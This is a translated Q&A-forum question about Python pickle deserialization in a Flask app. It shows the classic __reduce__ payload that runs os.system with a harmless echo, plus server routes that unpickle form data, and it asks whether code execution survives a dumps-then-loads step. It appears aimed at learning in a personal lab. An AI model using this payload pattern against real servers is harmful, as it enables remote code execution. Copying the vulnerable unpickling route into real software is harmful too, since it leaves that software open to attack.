【发布时间】:2021-10-17 15:34:26
【问题描述】:
免责声明:此问题并非出于恶意目的!我正在开发自己的 OWN 虚拟机!
文章here 演示了加载不受信任的pickle 数据如何导致远程代码执行,我正在研究如何在没有安全问题的情况下使用此工作流。
我的问题如下 - 如果我已经让 webapp 在 Flask 中收到请求,在 request.form 上使用 pickle.dumps(),然后在之前转储的内容上使用 pickle.loads(),还有办法吗执行恶意代码?
示例服务器代码:
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
这个工作流程仍然容易受到攻击吗?据我了解,pickle 最常见的利用类型是 b64 字符串通过并由pickle.loads() 解释。但是,如果在pickle.loads() 之前的表单上调用pickle.dumps(),是否可以获得相同的结果?
我尝试了几件事,但都没有成功。如果您知道密码,请告诉我:)
这是来自the same article的恶意用户代码示例
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
# Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
# I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side
这将返回一个 base64 字符串,当 pickle.loads() 解释该字符串时,将执行 cmd 中的代码。
但是如何在请求中传递RCE() 的结果,以便在pickle.loads() 之前在服务器端被pickle.dumps() 转储并仍然执行恶意代码?强>
示例(此代码不起作用):
客户端代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
示例(此代码有效):
客户端代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
我的想法如下,是否有可能有一个字符串,当在服务器端由pickle.dumps() 序列化时,返回与在客户端执行pickle.dumps(RCE()) 相同的值。当然,由于request.form 方面的原因,服务器端pickle.dumps() 的结果会有所不同。据我了解,只要字符串中有可执行代码,pickle.loads()就会执行。
【问题讨论】:
-
也许你可以用一些有效但显然无害的东西来替换恶意代码。
-
我不认为我完全理解你在问什么,就像
RCE声称当腌制时可以通过使用给定的字符串输入调用os.system来重建它,所以腌制的数据只是保留引用该函数和字符串,我不确定您所说的“在对象中传递 RCE() 的结果以便它可以被 pickle.dumps() 转储”是什么意思不是这是你已经拥有的? -
我让服务器故意在加载前执行转储。我不混淆谁是客户谁是服务员。只是想看看有没有办法做到这一点。
-
据我了解,调用 RCE() 将执行 reduce 功能,然后将其腌制。一旦它被腌制,如果你在pickle.dumps()返回的base64字符串上调用pickle.loads(),
cmd中的代码将被执行。我知道如果执行了pickle.loads(pickle.dumps({'rce':RCE()})),这将起作用。所以我想弄清楚的是如何将请求中的RCE()传递给服务器,这样当服务器转到test = pickle.dumps(request.form) test2=pickle.loads(test)时,就会执行来自cmd的代码。 -
当然,我会将这段代码添加到问题中:)
标签: python security flask pickle